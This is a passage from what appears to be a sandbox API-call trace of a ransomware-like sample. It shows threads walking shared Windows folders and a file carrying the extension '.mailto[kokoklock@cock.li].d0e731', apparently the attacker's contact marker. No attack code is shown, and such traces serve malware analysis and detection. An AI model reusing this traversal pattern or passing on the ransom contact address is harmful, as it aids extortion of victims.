ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0173.454] wcscmp (_String1=".", _String2=".") returned 0 [0173.454] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.454] wcscmp (_String1="..", _String2=".") returned 1 [0173.454] wcscmp (_String1="..", _String2="..") returned 0 [0173.454] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d2868f, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0xa7140105, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2797fc81, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.454] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0173.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020ca8) returned 1 [0173.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f62dd0) returned 1 [0173.454] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0173.454] RtlExitUserThread (Status=0x0) Thread: id = 2114 os_tid = 0x11f0 [0173.455] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x42) returned 0x4f012c0 [0173.456] wcscpy (in: _Dest=0x4f012c0, _Source="C:\\Users\\All Users\\Adobe\\ARM\\S" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S") returned="C:\\Users\\All Users\\Adobe\\ARM\\S" [0173.456] wcscat (in: _Dest=0x4f012c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\S\\" [0173.456] wcscat (in: _Dest=0x4f012c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\S\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\S\\*" [0173.456] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.456] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\S\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80660 [0173.466] wcscmp (_String1=".", _String2=".") returned 0 [0173.466] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.466] wcscmp (_String1="..", _String2=".") returned 1 [0173.466] wcscmp (_String1="..", _String2="..") returned 0 [0173.466] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xdcb711fb, ftCreationTime.dwHighDateTime=0x1d38c43, ftLastAccessTime.dwLowDateTime=0x3c33d412, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x4b9b7315, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.466] FindClose (in: hFindFile=0x2f80660 | out: hFindFile=0x2f80660) returned 1 [0173.466] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.466] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f012c0) returned 1 [0173.466] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87278) returned 1 [0173.466] RtlExitUserThread (Status=0x0) Thread: id = 2115 os_tid = 0x11f4 [0173.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f67c30 [0173.468] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles" [0173.468] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\" [0173.468] wcscat (in: _Dest=0x2f67c30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*" [0173.468] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020ca8 [0173.468] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\DMProfiles\\*", lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0173.468] wcscmp (_String1=".", _String2=".") returned 0 [0173.468] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.468] wcscmp (_String1="..", _String2=".") returned 1 [0173.468] wcscmp (_String1="..", _String2="..") returned 0 [0173.468] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc0928, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.468] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0173.468] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020ca8) returned 1 [0173.468] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0173.468] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d68) returned 1 [0173.468] RtlExitUserThread (Status=0x0) Thread: id = 2116 os_tid = 0x11f8 [0173.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87d68 [0173.470] wcscpy (in: _Dest=0x2f87d68, _Source="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" [0173.470] wcscat (in: _Dest=0x2f87d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\" [0173.470] wcscat (in: _Dest=0x2f87d68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*" [0173.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.470] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0173.470] wcscmp (_String1=".", _String2=".") returned 0 [0173.470] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.470] wcscmp (_String1="..", _String2=".") returned 1 [0173.470] wcscmp (_String1="..", _String2="..") returned 0 [0173.470] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cc1154, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.470] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0173.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d68) returned 1 [0173.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a28) returned 1 [0173.470] RtlExitUserThread (Status=0x0) Thread: id = 2117 os_tid = 0x11fc [0173.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5e) returned 0x2f87d68 [0173.474] wcscpy (in: _Dest=0x2f87d68, _Source="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server" [0173.474] wcscat (in: _Dest=0x2f87d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\" [0173.474] wcscat (in: _Dest=0x2f87d68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*") returned="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*" [0173.474] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.474] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WinMSIPC\\Server\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0173.475] wcscmp (_String1=".", _String2=".") returned 0 [0173.475] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.475] wcscmp (_String1="..", _String2=".") returned 1 [0173.475] wcscmp (_String1="..", _String2="..") returned 0 [0173.475] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2cbfa22, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d079d0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0173.475] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0173.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d68) returned 1 [0173.475] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87f70) returned 1 [0173.475] RtlExitUserThread (Status=0x0) Thread: id = 2118 os_tid = 0x1200 [0173.476] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x60) returned 0x2f87d68 [0173.476] wcscpy (in: _Dest=0x2f87d68, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax" [0173.476] wcscat (in: _Dest=0x2f87d68, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\" [0173.476] wcscat (in: _Dest=0x2f87d68, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*" [0173.476] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.476] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSFax\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.476] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87d68) returned 1 [0173.477] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c30) returned 1 [0173.477] RtlExitUserThread (Status=0x0) Thread: id = 2119 os_tid = 0x1204 [0173.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x62) returned 0x2f67c30 [0173.478] wcscpy (in: _Dest=0x2f67c30, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0173.478] wcscat (in: _Dest=0x2f67c30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\" [0173.478] wcscat (in: _Dest=0x2f67c30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*" [0173.478] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x3020ca8 [0173.478] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f808e0 [0173.478] wcscmp (_String1=".", _String2=".") returned 0 [0173.478] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc2b0e356, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a996721, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0173.478] wcscmp (_String1="..", _String2=".") returned 1 [0173.478] wcscmp (_String1="..", _String2="..") returned 0 [0173.478] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d027e99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9d027e99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9d04e0f0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 1 [0173.478] wcscmp (_String1="WelcomeScan.jpg", _String2=".") returned 1 [0173.478] wcscmp (_String1="WelcomeScan.jpg", _String2="..") returned 1 [0173.479] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x7e) returned 0x2fa0900 [0173.479] wcscpy (in: _Dest=0x2fa0900, _Source="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" [0173.479] wcscat (in: _Dest=0x2fa0900, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\" [0173.479] wcscat (in: _Dest=0x2fa0900, _Source="WelcomeScan.jpg" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\WelcomeScan.jpg" [0174.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fa0900, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0174.138] FindNextFileW (in: hFindFile=0x2f808e0, lpFindFileData=0x3020ca8 | out: lpFindFileData=0x3020ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d027e99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9d027e99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9d04e0f0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7e148, dwReserved0=0x0, dwReserved1=0x0, cFileName="WelcomeScan.jpg", cAlternateFileName="")) returned 0 [0174.138] FindClose (in: hFindFile=0x2f808e0 | out: hFindFile=0x2f808e0) returned 1 [0174.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020ca8) returned 1 [0174.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f67c30) returned 1 [0174.138] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87fd8) returned 1 [0174.138] RtlExitUserThread (Status=0x0) Thread: id = 2120 os_tid = 0x1208 [0173.481] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows live\\wlive48x48.png.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0173.483] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.483] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\windows live\\wlive48x48.png.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0173.483] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Live\\WLive48x48.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0173.483] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9f1b0) returned 1 [0173.483] RtlExitUserThread (Status=0x0) Thread: id = 2121 os_tid = 0x120c [0173.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa2) returned 0x2f90f80 [0173.484] wcscpy (in: _Dest=0x2f90f80, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache" [0173.484] wcscat (in: _Dest=0x2f90f80, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\" [0173.484] wcscat (in: _Dest=0x2f90f80, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*" [0173.484] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.484] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Cache\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0173.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30224b8) returned 1 [0173.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f90f80) returned 1 [0173.484] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee630) returned 1 [0173.484] RtlExitUserThread (Status=0x0) Thread: id = 2122 os_tid = 0x1210 [0173.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xa0) returned 0x2fedc58 [0173.486] wcscpy (in: _Dest=0x2fedc58, _Source="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp" [0173.486] wcscat (in: _Dest=0x2fedc58, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\" [0173.486] wcscat (in: _Dest=0x2fedc58, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*") returned="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*" [0173.486] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x30224b8 [0173.486] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender Advanced Threat Protection\\Temp\\*", lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6d9d2c8, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f80660 [0173.486] wcscmp (_String1=".", _String2=".") returned 0 [0173.486] FindNextFileW (in: hFindFile=0x2f80660, lpFindFileData=0x30224b8 | out: lpFindFileData=0x30224b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc2a91ebd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 